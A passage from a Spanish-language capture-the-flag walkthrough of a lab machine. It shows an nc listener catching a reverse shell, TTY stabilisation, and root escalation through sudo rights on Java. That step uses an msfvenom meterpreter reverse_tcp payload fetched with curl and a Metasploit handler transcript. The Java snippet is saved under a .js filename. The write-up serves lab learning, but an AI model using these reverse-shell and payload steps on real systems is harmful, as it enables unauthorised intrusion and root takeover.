Vemos que nos saco un directorio llamado /console, pero si entramos vemos que esta protegido con una contraseña, por lo que vamos a dejarlo en segundo plano.
Vamos a ver si detecta algun software de esta pagina en la que podamos investigar:
Esto deberia de mostrar 49, si lo enviamos vemos que ciertamente nos muestra el numero 49, por lo que haremos lo siguiente creandonos una reverse shell.
Pero antes de enviar esto tendremos que estar a la escucha:
nc -lvnp <PORT>
Ahora si podremos enviar ese comando, y si nos volvemos donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 57328
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
pinguinazo@4dd090c078de:~$ whoami
whoami
pinguinazo
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for pinguinazo on 4dd090c078de:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User pinguinazo may run the following commands on 4dd090c078de:
(ALL) NOPASSWD: /usr/bin/java
Vemos que podemos ejecutar el binario java como el usuario root, por lo que haremos lo siguiente:
Primero crearemos un archivo en JAVA de la siguiente forma:
script.js
public class Exploit {
public static void main(String[] args) {
try {
Runtime.getRuntime().exec("/bin/bash");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Ahora teniendo como sudo el binario java podremos ejecutarlo como el usuario root y con ello obtendremos una shell como root.
Maquina host
msfvenom -p java/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f jar -o Exploit.jar
Y esta aplicacion que nos ha generado nos lo tendremos que pasar a la maquina victima de la siguiente forma:
python3 -m http.server
Y ahora en la maquina victima nos la descaragremos de la siguiente forma:
cd /tmp
curl -O http://<IP>:8000/Exploit.jar
Ahora antes de ejecutarlo, nos pondremos a la escucha desde metasploit con el siuginete archivo para que se haga de forma automatica:
listener.rc
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
exploit
msfconsole -q -r listener.rc
Una vez echo todo lo anterior y estando a la escucha en la maquina victima ejeuctaremos el archivo como root:
sudo /usr/bin/java -jar Exploit.jar
Y ahora si volvemos a donde tenemos la escucha, veremos lo siguiente:
[*] Processing listener.rc for ERB directives.
resource (listener.rc)> msfconsole
[-] msfconsole cannot be run inside msfconsole
resource (listener.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (listener.rc)> set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
resource (listener.rc)> set LHOST 192.168.5.186
LHOST => 192.168.5.186
resource (listener.rc)> set LPORT 7755
LPORT => 7755
resource (listener.rc)> exploit
[*] Started reverse TCP handler on 192.168.5.186:7755
[*] Sending stage (57971 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.5.186:7755 -> 172.17.0.2:38156) at 2025-01-28 16:07:23 -0500
meterpreter > getuid
Server username: root
Vemos que ya seremos root, por lo que habremos terminado la maquina.